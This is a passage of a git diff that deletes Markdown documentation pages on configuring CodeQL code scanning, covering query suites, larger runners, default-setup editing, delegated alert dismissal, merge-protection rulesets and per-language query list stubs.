+++ /dev/null @@ -1,54 +0,0 @@ ---- -title: CodeQL query suites -shortTitle: CodeQL query suites -intro: 'You can choose from different built-in {% data variables.product.prodname_codeql %} query suites to use in your {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} setup.' -product: '{% data reusables.gated-features.codeql %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -redirect_from: - - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/built-in-codeql-query-suites - - /code-security/code-scanning/managing-your-code-scanning-configuration/built-in-codeql-query-suites -type: reference -topics: - - Code scanning - - CodeQL ---- - -## About {% data variables.product.prodname_codeql %} query suites - -With {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %}, you can select a specific group of {% data variables.product.prodname_codeql %} queries, called a {% data variables.product.prodname_codeql %} query suite, to run against your code. The following built-in query suites are available through {% data variables.product.prodname_dotcom %}: - -* `default` query suite. -* `security-extended` query suite. This suite is referred to as the "Extended" query suite on {% data variables.product.prodname_dotcom %}. - -Currently, both the `default` query suite and the `security-extended` query suite are available for default setup for {% data variables.product.prodname_code_scanning %}. Additionally, organization owners and security managers can recommend a query suite for use with default setup throughout their organization. For more information on configuring default setup for individual repositories, see [AUTOTITLE](/code-security/code-scanning/enabling-code-scanning/configuring-default-setup-for-code-scanning). For more information on configuring default setup at scale and recommending a query suite, see [AUTOTITLE](/code-security/code-scanning/enabling-code-scanning/configuring-default-setup-for-code-scanning-at-scale). - -To use a custom query suite, you must configure advanced setup for {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %}. For more information on advanced setups and creating a query suite, see [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/configuring-advanced-setup-for-code-scanning#configuring-advanced-setup-for-code-scanning-with-codeql) and [AUTOTITLE](/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/creating-codeql-query-suites). - -## Built-in {% data variables.product.prodname_codeql %} query suites - -The built-in {% data variables.product.prodname_codeql %} query suites, `default` and `security-extended`, are created and maintained by {% data variables.product.prodname_dotcom %}. Both of these query suites are available for every {% data variables.product.prodname_codeql %}-supported language. For more information on {% data variables.product.prodname_codeql %}-supported languages, see [AUTOTITLE](/code-security/code-scanning/introduction-to-code-scanning/about-code-scanning-with-codeql#about-codeql). - -### `default` query suite - -* The `default` query suite is the group of queries run by default in {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} on {% data variables.product.prodname_dotcom %}. -* The queries in the `default` query suite are highly precise and return few false positive {% data variables.product.prodname_code_scanning %} results. Relative to the `security-extended` query suite, the `default` suite returns fewer low-confidence {% data variables.product.prodname_code_scanning %} results. -* This query suite is available for use with default setup for {% data variables.product.prodname_code_scanning %}. - -### `security-extended` query suite - -* The `security-extended` query suite consists of all the queries in the `default` query suite, plus additional queries with slightly lower precision and severity. -* Relative to the `default` query suite, the `security-extended` suite may return a greater number of false positive {% data variables.product.prodname_code_scanning %} results. -* This query suite is available for use with default setup for {% data variables.product.prodname_code_scanning %}, and is referred to as the "Extended" query suite on {% data variables.product.prodname_dotcom %}. - -## Query lists for the default query suites - -For each language, the following article lists which queries are included in the `default` and the `security-extended` suites. {% ifversion code-scanning-autofix %}Where {% data variables.product.prodname_copilot_autofix_short %} is available for a language, details of which queries are supported are also included.{% endif %} - -{% data reusables.code-scanning.codeql-query-tables.links-to-all-tables %} - -## Further reading - -* [AUTOTITLE](/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/creating-codeql-query-suites) diff --git a/content/code-security/code-scanning/managing-your-code-scanning-configuration/configuring-larger-runners-for-default-setup.md b/content/code-security/code-scanning/managing-your-code-scanning-configuration/configuring-larger-runners-for-default-setup.md deleted file mode 100644 index 1bec77e0582a..000000000000 --- a/content/code-security/code-scanning/managing-your-code-scanning-configuration/configuring-larger-runners-for-default-setup.md +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: Configuring larger runners for default setup -shortTitle: Configure larger runners -intro: 'You can run {% data variables.product.prodname_code_scanning %} default setup more quickly on bigger codebases using {% data variables.actions.hosted_runners %}.' -product: '{% data reusables.actions.larger-runner-permissions %}' -versions: - feature: default-setup-larger-runners -topics: - - Code scanning - - CodeQL - - Actions ---- - -{% data reusables.code-scanning.beta-larger-runners-support %} - -## About {% data variables.actions.hosted_runners %} for default setup - -{% data reusables.actions.about-larger-runners %} For more information about {% data variables.actions.hosted_runners %}, see [AUTOTITLE](/actions/using-github-hosted-runners/about-larger-runners/about-larger-runners). - -Consider configuring {% data variables.actions.hosted_runners %} for default setup if: -* Your scans with standard {% data variables.product.prodname_dotcom %}-hosted runners are taking too long. -* Your scans with standard {% data variables.product.prodname_dotcom %}-hosted runners are returning memory or disk errors. -* You want to customize aspects of your {% data variables.product.prodname_code_scanning %} runner like the runner size, runner image, and job concurrency without using self-hosted runners. - -> [!WARNING] -> Currently, Swift analysis is not available on {% data variables.actions.hosted_runners %} for default setup. Additionally, if your repository has access to a runner with the `code-scanning` label, such as a {% data variables.actions.hosted_runner %} provisioned for default setup, default setup workflows will _only_ use runners labeled `code-scanning`. If you would like to configure default setup on {% data variables.actions.hosted_runners %} _and_ analyze Swift, you have two options: -> * Provision a self-hosted macOS runner with the `code-scanning` label in addition to your {% data variables.actions.hosted_runner %}. For more information, see {% ifversion ghec %}[AUTOTITLE](/admin/code-security/managing-github-advanced-security-for-your-enterprise/configuring-code-scanning-for-your-appliance).{% else %}[AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-a-repository).{% endif %} -> * Ensure any repositories containing Swift _do not_ have access to runners with the label `code-scanning`. Default setup workflows for that repository will only use standard runners. - -{% ifversion ghec %} - -## Provisioning enterprise-level {% data variables.actions.hosted_runners %} for default setup - -1. Add a {% data variables.actions.hosted_runner %} to your enterprise. For more information, see [AUTOTITLE](/actions/using-github-hosted-runners/about-larger-runners/managing-larger-runners#adding-a-larger-runner-to-an-enterprise). - * To add the `code-scanning` label to your {% data variables.actions.hosted_runner %}, name the runner `code-scanning`. An enterprise can only have one {% data variables.actions.hosted_runner %} named `code-scanning`, and that runner will handle all {% data variables.product.prodname_code_scanning %} jobs for all organizations and repositories within your enterprise that: - * _Have access_ to the enterprise-level runner, and - * _Don't have access_ to an organization-level {% data variables.actions.hosted_runner %} named `code-scanning`. If an organization or repository also has access to an organization-level {% data variables.actions.hosted_runner %} named `code-scanning`, each {% data variables.product.prodname_code_scanning %} job will be randomly assigned to either the organization-level or enterprise-level runner. -{% data reusables.actions.org-access-to-github-hosted-runners %} -1. To analyze repositories with default setup, grant the desired repositories access to the runner group your {% data variables.actions.hosted_runner %} is assigned to. For more information, see [AUTOTITLE](/actions/using-github-hosted-runners/about-larger-runners/managing-larger-runners#allowing-repositories-to-access-larger-runners). -1. You can now configure default setup for your enterprise, organizations, and repositories, and your {% data variables.actions.hosted_runner %} will automatically pick up {% data variables.product.prodname_code_scanning %} jobs as previously specified. For more information on configuring default setup, see [AUTOTITLE](/code-security/code-scanning/enabling-code-scanning/configuring-default-setup-for-code-scanning) and [AUTOTITLE](/code-security/code-scanning/enabling-code-scanning/configuring-default-setup-for-code-scanning-at-scale). -{% endif %} - -## Provisioning organization-level {% data variables.actions.hosted_runners %} for default setup - -1. Add a {% data variables.actions.hosted_runner %} to your organization. See [AUTOTITLE](/actions/using-github-hosted-runners/about-larger-runners/managing-larger-runners#adding-a-larger-runner-to-an-organization). - * To add a custom label to your {% data variables.actions.hosted_runner %}, give the runner a name that matches that label. You can use this custom label when you configure default setup with {% data variables.actions.hosted_runners %}. For more information, see [AUTOTITLE](/code-security/code-scanning/enabling-code-scanning/configuring-default-setup-for-code-scanning#assigning-labels-to-runners). -1. By default, all repositories in your organization have access to organization-level runners, meaning every repository can use your {% data variables.actions.hosted_runner %}. For information on granting only select repositories access to a {% data variables.actions.hosted_runner %}, see [AUTOTITLE](/actions/using-github-hosted-runners/about-larger-runners/managing-larger-runners#allowing-repositories-to-access-larger-runners). -1. You can now configure default setup for your organization and repositories, and your {% data variables.actions.hosted_runner %} will automatically pick up {% data variables.product.prodname_code_scanning %} jobs. For more information on configuring default setup, see [AUTOTITLE](/code-security/code-scanning/enabling-code-scanning/configuring-default-setup-for-code-scanning) and [AUTOTITLE](/code-security/code-scanning/enabling-code-scanning/configuring-default-setup-for-code-scanning-at-scale). diff --git a/content/code-security/code-scanning/managing-your-code-scanning-configuration/csharp-built-in-queries.md b/content/code-security/code-scanning/managing-your-code-scanning-configuration/csharp-built-in-queries.md deleted file mode 100644 index bd121030973a..000000000000 --- a/content/code-security/code-scanning/managing-your-code-scanning-configuration/csharp-built-in-queries.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: C# queries for CodeQL analysis -shortTitle: C# CodeQL queries -intro: 'Explore the queries that {% data variables.product.prodname_codeql %} uses to analyze code written in C# when you select the `default` or the `security-extended` query suite.' -product: '{% data reusables.gated-features.codeql %}' -allowTitleToDifferFromFilename: true -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: reference -topics: - - Code scanning - - CodeQL ---- - -{% data variables.product.prodname_codeql %} includes many queries for analyzing C# code. {% data reusables.code-scanning.codeql-query-tables.query-suite-behavior %} - -## Built-in queries for C# analysis - -{% data reusables.code-scanning.codeql-query-tables.codeql-version-info %} - -{% data reusables.code-scanning.codeql-query-tables.csharp %} diff --git a/content/code-security/code-scanning/managing-your-code-scanning-configuration/editing-your-configuration-of-default-setup.md b/content/code-security/code-scanning/managing-your-code-scanning-configuration/editing-your-configuration-of-default-setup.md deleted file mode 100644 index 116279301ef3..000000000000 --- a/content/code-security/code-scanning/managing-your-code-scanning-configuration/editing-your-configuration-of-default-setup.md +++ /dev/null @@ -1,120 +0,0 @@ ---- -title: Editing your configuration of default setup -shortTitle: Edit default setup -intro: 'You can edit your existing configuration of default setup for {% data variables.product.prodname_code_scanning %} to better meet your needs.' -permissions: '{% data reusables.permissions.security-org-enable %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: how_to -topics: - - Code scanning - - CodeQL ---- - -## About editing your configuration of default setup - -After running an initial analysis of your code with default setup, you may need to make changes to your configuration to better meet your needs. For existing configurations of default setup, you can edit: -* Which languages default setup will analyze. -* The query suite run during analysis. For more information on the available query suites, see [AUTOTITLE](/code-security/code-scanning/managing-your-code-scanning-configuration/codeql-query-suites).{% ifversion codeql-threat-models %} -* The threat models ({% data variables.release-phases.public_preview %}) to use for analysis. Your choice of threat model determines which sources of tainted data are treated as a risk to your application. During the {% data variables.release-phases.public_preview %}, threat models are supported only for analysis of {% data variables.code-scanning.code_scanning_threat_model_support %}. For more information about threat models, see [Including local sources of tainted data in default setup](#including-local-sources-of-tainted-data-in-default-setup). -{% endif %} - -If your codebase depends on a library or framework that is not recognized by the standard libraries included with {% data variables.product.prodname_codeql %}, you can also extend the {% data variables.product.prodname_codeql %} coverage in default setup using {% data variables.product.prodname_codeql %} model packs. For more information, see [Extending CodeQL coverage with CodeQL model packs in default setup](#extending-codeql-coverage-with-codeql-model-packs-in-default-setup). - -If you need to change any other aspects of your {% data variables.product.prodname_code_scanning %} configuration, consider configuring advanced setup. For more information, see [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/configuring-advanced-setup-for-code-scanning). - -## Customizing your existing configuration of default setup - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.user-settings.security-analysis %} -1. In the "{% data variables.product.prodname_codeql %} analysis" row of the "{% data variables.product.prodname_code_scanning_caps %}" section, select {% octicon "kebab-horizontal" aria-label="Menu" %}, then click **{% octicon "gear" aria-hidden="true" %} View {% data variables.product.prodname_codeql %} configuration**. -1. In the "{% data variables.product.prodname_codeql %} default configuration" window, click **{% octicon "pencil" aria-hidden="true" %} Edit**. -1. Optionally, in the "Languages" section, select or deselect languages for analysis. -1. Optionally, in the "Query suite" row of the "Scan settings" section, select a different query suite to run against your code.{% ifversion codeql-threat-models %} - -{% ifversion code-scanning-default-setup-customize-labels %} - -1. Optionally, to use labeled runners, in the "Runner type" section of the "{% data variables.product.prodname_codeql %} default configuration" modal dialog, select **Standard {% data variables.product.company_short %} runner** {% octicon "triangle-down" aria-hidden="true" %} to open a dropdown menu, then select **Labeled runner**. Then, next to "Runner label", enter the label of an existing self-hosted or {% data variables.product.company_short %}-hosted runner. For more information, see [AUTOTITLE](/code-security/code-scanning/enabling-code-scanning/configuring-default-setup-for-code-scanning#assigning-labels-to-runners). - -{% endif %} - -1. ({% data variables.release-phases.public_preview_caps %}) Optionally, in the "Threat model" row of the "Scan settings" section, select **Remote and local sources**. -{% endif %} -1. To update your configuration, as well as run an initial analysis of your code with the new configuration, click **Save changes**. All future analyses will use your new configuration. - -## Defining the alert severities that cause a check failure for a pull request - -{% ifversion code-scanning-merge-protection-rulesets %} - -You can use rulesets to prevent pull requests from being merged when one of the following conditions is met: - -{% data reusables.code-scanning.merge-protection-rulesets-conditions %} - -For more information, see [AUTOTITLE](/code-security/code-scanning/managing-your-code-scanning-configuration/set-code-scanning-merge-protection). For more general information about rulesets, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/about-rulesets). - -{% else %} - -{% data reusables.code-scanning.pull-request-checks %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.navigate-to-code-security-and-analysis %} {% ifversion fpt or ghec %} -1. Under "{% data variables.product.prodname_code_scanning_caps %}", in the "Protection rules" section, use the drop-down menu to define which alerts should cause a check failure. Choose one level for alerts of type "Security" and one level for all other alerts.{% else %} -1. Under "{% data variables.product.prodname_code_scanning_caps %}", to the right of "Check Failure", use the drop-down menu to select the level of severity you would like to cause a pull request check failure.{% endif %} - -{% endif %} - -{% ifversion codeql-threat-models %} - -## Including local sources of tainted data in default setup - -{% data reusables.code-scanning.beta-threat-models %} - -If your codebase only considers remote network requests to be potential sources of tainted data, then we recommend using the default threat model. If your codebase considers sources other than network requests to potentially contain tainted data, then you can use threat models to add these additional sources to your {% data variables.product.prodname_codeql %} analysis. During the {% data variables.release-phases.public_preview %}, you can add local sources (for example: command-line arguments, environment variables, file systems, and databases) that your codebase may consider to be additional sources of tainted data. - -You can edit the threat model used in a default setup configuration. For more information, see [Customizing your existing configuration of default setup](#customizing-your-existing-configuration-of-default-setup). - -{% endif %} - -## Extending {% data variables.product.prodname_codeql %} coverage with {% data variables.product.prodname_codeql %} model packs in default setup - -{% data reusables.code-scanning.beta-model-packs %} - -If {% ifversion ghec %}your enterprise is hosted on {% data variables.product.prodname_dotcom_the_website %} and {% endif %}you use frameworks and libraries that are not recognized by the standard libraries included with {% data variables.product.prodname_codeql %}, you can model your dependencies and extend {% data variables.product.prodname_code_scanning %} analysis. For more information, see [Supported languages and frameworks](https://codeql.github.com/docs/codeql-overview/supported-languages-and-frameworks/) in the documentation for {% data variables.product.prodname_codeql %}. - -For default setup, you need to define the models of your additional dependencies in {% data variables.product.prodname_codeql %} model packs. You can extend coverage in default setup with {% data variables.product.prodname_codeql %} model packs for individual repositories, or at scale for all repositories in an organization. - -For more information about {% data variables.product.prodname_codeql %} model packs and writing your own, see [AUTOTITLE](/code-security/codeql-for-vs-code/using-the-advanced-functionality-of-the-codeql-for-vs-code-extension/using-the-codeql-model-editor). - -### Extending coverage for a repository - -1. In the `.github/codeql/extensions` directory of the repository, copy the model pack directory which should include a `codeql-pack.yml` file and any `.yml` files containing additional models for the libraries or frameworks you wish to include in your analysis. -1. The model packs will be automatically detected and used in your {% data variables.product.prodname_code_scanning %} analysis. -1. If you later change your configuration to use advanced setup, any model packs in the `.github/codeql/extensions` directory will still be recognized and used. - -{% ifversion codeql-model-packs-org %} - -### Extending coverage for all repositories in an organization - ->[!NOTE] -> If you extend coverage with {% data variables.product.prodname_codeql %} model packs for all repositories in an organization, the model packs that you specify must be published to the {% ifversion ghes %}container registry associated with the {% data variables.product.prodname_ghe_server %} instance (`https://containers.HOSTNAME`){% else %}{% data variables.product.company_short %} {% data variables.product.prodname_container_registry %}{% endif %} and be accessible to the repositories that run {% data variables.product.prodname_code_scanning %}. For more information, see [AUTOTITLE](/packages/working-with-a-github-packages-registry/working-with-the-container-registry). - -{% data reusables.profile.access_org %} -{% data reusables.organizations.org_settings %} -{% ifversion security-configurations %} -{% data reusables.security-configurations.display-global-settings %} -{% else %} -1. Click **{% data variables.product.UI_advanced_security %}**. -{% endif %} -1. Find the "{% data variables.product.prodname_code_scanning_caps %}" section. -1. Next to "Expand {% data variables.product.prodname_codeql %} analysis", click **Configure**. -1. Enter references to the published model packs you want to use, one per line, then click **Save**. - - ![Screenshot of the "Expand CodeQL analysis" view" in the settings for an organization.](/assets/images/help/security/enable-codeql-org-model-packs.png) - -1. The model packs will be automatically detected and used when {% data variables.product.prodname_code_scanning %} runs on any repository in the organization with default setup enabled. - -{% endif %} diff --git a/content/code-security/code-scanning/managing-your-code-scanning-configuration/enabling-delegated-alert-dismissal-for-code-scanning.md b/content/code-security/code-scanning/managing-your-code-scanning-configuration/enabling-delegated-alert-dismissal-for-code-scanning.md deleted file mode 100644 index bb7d452e7e74..000000000000 --- a/content/code-security/code-scanning/managing-your-code-scanning-configuration/enabling-delegated-alert-dismissal-for-code-scanning.md +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: Enabling delegated alert dismissal for code scanning -intro: 'You can use delegated alert dismissal to control who can dismiss an alert found by {% data variables.product.prodname_code_scanning %}.' -permissions: '{% data reusables.permissions.delegated-alert-dismissal %}' -versions: - feature: security-delegated-alert-dismissal -type: how_to -topics: - - Code scanning - - Advanced Security - - Alerts - - Repositories -shortTitle: Enable delegated alert dismissal ---- - -## About enabling delegated alert dismissal - -{% data reusables.advanced-security.delegated-alert-dismissal-beta %} - -{% data reusables.security.delegated-alert-dismissal-intro %} - -## Configuring delegated dismissal for a repository - ->[!NOTE] If an organization owner configures delegated alert dismissal via an enforced security configuration, the settings can't be changed at the repository level. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.navigate-to-code-security-and-analysis %} -{% data reusables.repositories.navigate-to-ghas-settings %} - -1. Under "{% data variables.product.prodname_code_scanning_caps %}", click **Enable** for "Prevent direct alert dismissals". - -## Configuring delegated dismissal for an organization - -You must configure delegated dismissal for your organization using a custom security configuration. You can then apply the security configuration to all (or selected) repositories in your organization. - -1. Create a new custom security configuration, or edit an existing one. See [AUTOTITLE](/code-security/securing-your-organization/enabling-security-features-in-your-organization/creating-a-custom-security-configuration#creating-a-custom-security-configuration). -1. When creating the custom security configuration, under "{% data variables.product.prodname_code_scanning_caps %}", set "Prevent direct alert dismissals" to **Enabled**. -1. Click **Save configuration**. -1. Apply the security configuration to all (or selected) repositories in your organization. See [AUTOTITLE](/code-security/securing-your-organization/enabling-security-features-in-your-organization/applying-a-custom-security-configuration). - -To learn more about security configurations, see [AUTOTITLE](/code-security/securing-your-organization/introduction-to-securing-your-organization-at-scale/about-enabling-security-features-at-scale). diff --git a/content/code-security/code-scanning/managing-your-code-scanning-configuration/go-built-in-queries.md b/content/code-security/code-scanning/managing-your-code-scanning-configuration/go-built-in-queries.md deleted file mode 100644 index 085e813158c7..000000000000 --- a/content/code-security/code-scanning/managing-your-code-scanning-configuration/go-built-in-queries.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Go queries for CodeQL analysis -shortTitle: Go CodeQL queries -intro: 'Explore the queries that {% data variables.product.prodname_codeql %} uses to analyze code written in Go (Golang) when you select the `default` or the `security-extended` query suite.' -product: '{% data reusables.gated-features.codeql %}' -allowTitleToDifferFromFilename: true -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: reference -topics: - - Code scanning - - CodeQL ---- - -{% data variables.product.prodname_codeql %} includes many queries for analyzing Go code. {% data reusables.code-scanning.codeql-query-tables.query-suite-behavior %} - -## Built-in queries for Go analysis - -{% data reusables.code-scanning.codeql-query-tables.codeql-version-info %} - -{% data reusables.code-scanning.codeql-query-tables.go %} diff --git a/content/code-security/code-scanning/managing-your-code-scanning-configuration/index.md b/content/code-security/code-scanning/managing-your-code-scanning-configuration/index.md deleted file mode 100644 index 0ef247365ca7..000000000000 --- a/content/code-security/code-scanning/managing-your-code-scanning-configuration/index.md +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: Managing your code scanning configuration -shortTitle: Manage code scanning -intro: 'You can manage your existing {% data variables.product.prodname_code_scanning %} configuration with the help of metrics and logging outputs generated by your analysis.' -product: '{% data reusables.gated-features.code-scanning %}' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -children: - - /about-the-tool-status-page - - /editing-your-configuration-of-default-setup - - /set-code-scanning-merge-protection - - /enabling-delegated-alert-dismissal-for-code-scanning - - /codeql-query-suites - - /configuring-larger-runners-for-default-setup - - /viewing-code-scanning-logs - - /c-cpp-built-in-queries - - /csharp-built-in-queries - - /go-built-in-queries - - /java-kotlin-built-in-queries - - /javascript-typescript-built-in-queries - - /python-built-in-queries - - /ruby-built-in-queries - - /swift-built-in-queries ---- diff --git a/content/code-security/code-scanning/managing-your-code-scanning-configuration/java-kotlin-built-in-queries.md b/content/code-security/code-scanning/managing-your-code-scanning-configuration/java-kotlin-built-in-queries.md deleted file mode 100644 index 5dda274ca115..000000000000 --- a/content/code-security/code-scanning/managing-your-code-scanning-configuration/java-kotlin-built-in-queries.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Java and Kotlin queries for CodeQL analysis -shortTitle: Java and Kotlin CodeQL queries -intro: 'Explore the queries that {% data variables.product.prodname_codeql %} uses to analyze code written in Java or Kotlin when you select the `default` or the `security-extended` query suite.' -product: '{% data reusables.gated-features.codeql %}' -allowTitleToDifferFromFilename: true -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: reference -topics: - - Code scanning - - CodeQL ---- - -{% data variables.product.prodname_codeql %} includes many queries for analyzing Java and Kotlin code. {% data reusables.code-scanning.codeql-query-tables.query-suite-behavior %} - -## Built-in queries for Java and Kotlin analysis - -{% data reusables.code-scanning.codeql-query-tables.codeql-version-info %} - -{% data reusables.code-scanning.codeql-query-tables.java %} diff --git a/content/code-security/code-scanning/managing-your-code-scanning-configuration/javascript-typescript-built-in-queries.md b/content/code-security/code-scanning/managing-your-code-scanning-configuration/javascript-typescript-built-in-queries.md deleted file mode 100644 index 257194e74686..000000000000 --- a/content/code-security/code-scanning/managing-your-code-scanning-configuration/javascript-typescript-built-in-queries.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: JavaScript and TypeScript queries for CodeQL analysis -shortTitle: JavaScript and TypeScript queries -intro: 'Explore the queries that {% data variables.product.prodname_codeql %} uses to analyze code written in JavaScript or TypeScript when you select the `default` or the `security-extended` query suite.' -product: '{% data reusables.gated-features.codeql %}' -allowTitleToDifferFromFilename: true -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: reference -topics: - - Code scanning - - CodeQL ---- - -{% data variables.product.prodname_codeql %} includes many queries for analyzing JavaScript and TypeScript code. {% data reusables.code-scanning.codeql-query-tables.query-suite-behavior %} - -## Built-in queries for JavaScript and TypeScript analysis - -{% data reusables.code-scanning.codeql-query-tables.codeql-version-info %} - -{% data reusables.code-scanning.codeql-query-tables.javascript %} diff --git a/content/code-security/code-scanning/managing-your-code-scanning-configuration/python-built-in-queries.md b/content/code-security/code-scanning/managing-your-code-scanning-configuration/python-built-in-queries.md deleted file mode 100644 index 5e03709a5685..000000000000 --- a/content/code-security/code-scanning/managing-your-code-scanning-configuration/python-built-in-queries.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Python queries for CodeQL analysis -shortTitle: Python CodeQL queries -intro: 'Explore the queries that {% data variables.product.prodname_codeql %} uses to analyze code written in Python when you select the `default` or the `security-extended` query suite.' -product: '{% data reusables.gated-features.codeql %}' -allowTitleToDifferFromFilename: true -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: reference -topics: - - Code scanning - - CodeQL ---- - -{% data variables.product.prodname_codeql %} includes many queries for analyzing Python code. {% data reusables.code-scanning.codeql-query-tables.query-suite-behavior %} - -## Built-in queries for Python analysis - -{% data reusables.code-scanning.codeql-query-tables.codeql-version-info %} - -{% data reusables.code-scanning.codeql-query-tables.python %} diff --git a/content/code-security/code-scanning/managing-your-code-scanning-configuration/ruby-built-in-queries.md b/content/code-security/code-scanning/managing-your-code-scanning-configuration/ruby-built-in-queries.md deleted file mode 100644 index cdbf2198f068..000000000000 --- a/content/code-security/code-scanning/managing-your-code-scanning-configuration/ruby-built-in-queries.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Ruby queries for CodeQL analysis -shortTitle: Ruby CodeQL queries -intro: 'Explore the queries that {% data variables.product.prodname_codeql %} uses to analyze code written in Ruby when you select the `default` or the `security-extended` query suite.' -product: '{% data reusables.gated-features.codeql %}' -allowTitleToDifferFromFilename: true -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: reference -topics: - - Code scanning - - CodeQL ---- - -{% data variables.product.prodname_codeql %} includes many queries for analyzing Ruby code. {% data reusables.code-scanning.codeql-query-tables.query-suite-behavior %} - -## Built-in queries for Ruby analysis - -{% data reusables.code-scanning.codeql-query-tables.codeql-version-info %} - -{% data reusables.code-scanning.codeql-query-tables.ruby %} diff --git a/content/code-security/code-scanning/managing-your-code-scanning-configuration/set-code-scanning-merge-protection.md b/content/code-security/code-scanning/managing-your-code-scanning-configuration/set-code-scanning-merge-protection.md deleted file mode 100644 index ecf04387a003..000000000000 --- a/content/code-security/code-scanning/managing-your-code-scanning-configuration/set-code-scanning-merge-protection.md +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: Set code scanning merge protection -shortTitle: Set merge protection -intro: 'You can use rulesets to set {% data variables.product.prodname_code_scanning %} merge protection for pull requests.' -permissions: '{% data reusables.permissions.security-org-enable %}' -product: '{% data reusables.gated-features.code-scanning %}' -versions: - feature: code-scanning-merge-protection-rulesets -type: how_to -topics: - - Code scanning - - CodeQL ---- - -## About using rulesets for {% data variables.product.prodname_code_scanning %} merge protection - -> [!NOTE] -> * Merge protection with rulesets is not related to status checks. For more information about status checks, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks). -> * Merge protection with rulesets will not apply to merge queue groups or {% data variables.product.prodname_dependabot %} pull requests analyzed by default setup. - -You can use rulesets to prevent pull requests from being merged when one of the following conditions is met: - -{% data reusables.code-scanning.merge-protection-rulesets-conditions %} - -Typically you should use rulesets target long-lived feature branches, where you would like to guarantee that code has been analyzed before pull requests can be merged. - -Configuring a {% data variables.product.prodname_code_scanning %} rule will not automatically enable {% data variables.product.prodname_code_scanning %}. For more information about how to enable code scanning, see [AUTOTITLE](/code-security/code-scanning/enabling-code-scanning/configuring-default-setup-for-code-scanning). - -For more information about {% data variables.product.prodname_code_scanning %} alerts, see [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/about-code-scanning-alerts). - -You can set merge protection with rulesets at the repository {% ifversion ghec or ghes %}or organization levels{% else %}level{% endif %}, and for repositories configured with either default setup or advanced setup. You can also use the REST API to set merge protection with rulesets. - -For more information about rulesets, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/about-rulesets). - -## Creating a merge protection ruleset for a repository - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.repo-rulesets-settings %} -1. Click **New ruleset**. -1. To create a ruleset targeting branches, click **New branch ruleset**. -{% data reusables.repositories.rulesets-general-step %} -{% data reusables.repositories.rulesets-require-code-scanning-results %} - -For more information about managing rulesets in a repository, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/). - -{% ifversion ghec or ghes %} - -## Creating a merge protection ruleset for all repositories in an organization - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.access-ruleset-settings %} -1. Click **New ruleset**. -1. To create a ruleset targeting branches, click **New branch ruleset**. -{% data reusables.repositories.rulesets-general-step %} -{% data reusables.repositories.rulesets-require-code-scanning-results %} - -For more information about managing rulesets for repositories in an organization, see [AUTOTITLE](/organizations/managing-organization-settings/managing-rulesets-for-repositories-in-your-organization). - -{% endif %} - -## Creating a merge protection ruleset with the REST API - -You can use the REST API to create a ruleset with the `code_scanning` rule, which allows you to define specific tools and set alert thresholds. For more information, see [AUTOTITLE](/rest/repos/rules?apiVersion=2022-11-28#create-a-repository-ruleset). diff --git a/content/code-security/code-scanning/managing-your-code-scanning-configuration/swift-built-in-queries.md b/content/code-security/code-scanning/managing-your-code-scanning-configuration/swift-built-in-queries.md deleted file mode 100644 index 21279052a81d..000000000000 --- a/content/code-security/code-scanning/managing-your-code-scanning-configuration/swift-built-in-queries.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Swift queries for CodeQL analysis -shortTitle: Swift CodeQL queries -intro: 'Explore the queries that {% data variables.product.prodname_codeql %} uses to analyze code written in Swift when you select the `default` or the `security-extended` query suite.' -product: '{% data reusables.gated-features.codeql %}' -allowTitleToDifferFromFilename: true -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: reference -topics: - - Code scanning - - CodeQL ---- - -{% data variables.product.prodname_codeql %} includes many queries for analyzing Swift code. {% data reusables.code-scanning.codeql-query-tables.query-suite-behavior %} - -## Built-in queries for Swift analysis - -{% data reusables.code-scanning.codeql-query-tables.codeql-version-info %} - -{% data reusables.code-scanning.codeql-query-tables.swift %} diff --git a/content/code-security/code-scanning/managing-your-code-scanning-configuration/viewing-code-scanning-logs.md 